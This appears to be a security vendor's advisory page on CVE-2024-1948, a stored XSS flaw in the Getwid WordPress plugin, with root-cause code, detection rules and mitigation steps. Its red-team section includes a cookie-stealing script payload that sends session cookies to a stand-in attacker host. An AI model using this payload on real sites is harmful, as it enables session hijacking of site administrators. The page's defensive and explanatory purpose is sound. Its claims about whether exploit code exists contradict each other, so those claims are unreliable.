CVE-2024-1948
Executive Summary
CVE-2024-1948 is a Stored Cross-Site Scripting (XSS) vulnerability in the Getwid – Gutenberg Blocks plugin for WordPress, affecting all versions up to and including 2.0.5. The flaw arises from insufficient input sanitization and output escaping of block content, allowing authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page. With a CVSS score of 6.4 (Medium), the vulnerability poses a significant risk to WordPress sites using the plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress software or web servers like Apache or Nginx. The attack vector relies on the plugin’s failure to properly sanitize user-supplied block content, a common issue in WordPress plugins that handle rich content.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – Attacker needs contributor-level access or higher.
- User Interaction: Required (UI:R) – A victim must visit the injected page.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used plugin can lead to widespread compromise if exploited. The requirement for authenticated access reduces the attack surface, but contributor-level accounts are common in multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the Getwid plugin’s handling of Gutenberg block content. The plugin fails to properly sanitize user input and escape output when rendering blocks. An authenticated attacker with contributor-level access can craft a block containing malicious JavaScript. When the block is saved and later viewed by another user (including administrators), the script executes in the context of the victim’s browser.
Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on block content. This allows HTML and JavaScript to be injected.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a post/page and inserts a Getwid block.
- Attacker injects malicious JavaScript into the block content (e.g.,
<script>alert('XSS')</script>). - The plugin stores the content without sanitization.
- When a victim (e.g., admin) views the page, the script executes.
Impact: Stored XSS can lead to session cookie theft, redirection to malicious sites, defacement, or privilege escalation if an admin’s session is hijacked.
Vulnerable vs. Patched Code
Since no official patch is available, the following illustrates the vulnerable pattern and a hypothetical fix.
Vulnerable Code (Getwid <= 2.0.5):
// In block rendering function
echo $block_content; // No sanitization or escaping
Patched Code (Hypothetical Fix):
// In block rendering function
echo esc_html( $block_content ); // Escapes HTML entities
// Or for rich content:
echo wp_kses_post( $block_content ); // Allows safe HTML only
The fix involves applying WordPress’s output escaping functions to ensure any injected scripts are rendered as text, not executed.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Getwid plugin <= 2.0.5.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Create a new post or edit an existing one.
- Add a Getwid block (e.g., a text or heading block).
- In the block content field, inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the post.
- Wait for an admin or other user to view the post. The script will execute, sending their cookies to the attacker’s server.
Note: No public exploit code is available, but the above manual steps demonstrate the attack.
Blue Team (Detection & Mitigation)
Detection:
- Monitor for posts containing suspicious HTML/JavaScript in block content.
- Use Web Application Firewall (WAF) rules to block common XSS payloads.
- Review server logs for unusual
POSTrequests towp-admin/post.phpwith script-like content.
Mitigation:
- Disable or remove the Getwid plugin until a patch is released.
- Restrict contributor-level accounts to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- File Indicators: Modified or new posts/pages containing
<script>tags or event handlers (e.g.,onload,onerror) in Getwid block content. - Network Indicators: Outbound HTTP requests to attacker-controlled domains from the WordPress server, especially containing cookie data.
- Log Indicators: Entries in
wp-adminlogs showing creation/editing of posts by contributor accounts with unusual content. - Database Indicators: Rows in
wp_poststable withpost_contentcontaining JavaScript payloads.
Detection Engineering
YARA Rule
rule Detect_Getwid_XSS_Payload {
meta:
description = "Detects stored XSS payloads in Getwid block content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1948"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10MB
}
Sigma Rule
title: Getwid Stored XSS Detection
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects stored XSS attempts via Getwid plugin
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-1948
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'wp-admin/post.php'
cs-uri-query|contains: 'action=edit'
cs-uri-query|contains: 'post='
sc-status: 200
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in posts by administrators
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1948 Getwid Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Getwid plugin until a patched version is released.
- Review and remove any suspicious posts created by contributor accounts.
- Reset passwords for all contributor-level accounts if compromise is suspected.
Long-term Fix:
- Monitor the Getwid plugin page for a security update. Apply the patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce the principle of least privilege: limit contributor accounts to only those who need them.
Workaround:
- If the plugin cannot be disabled, use a WordPress security plugin (e.g., Wordfence) to add input sanitization and output escaping for all plugin blocks.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.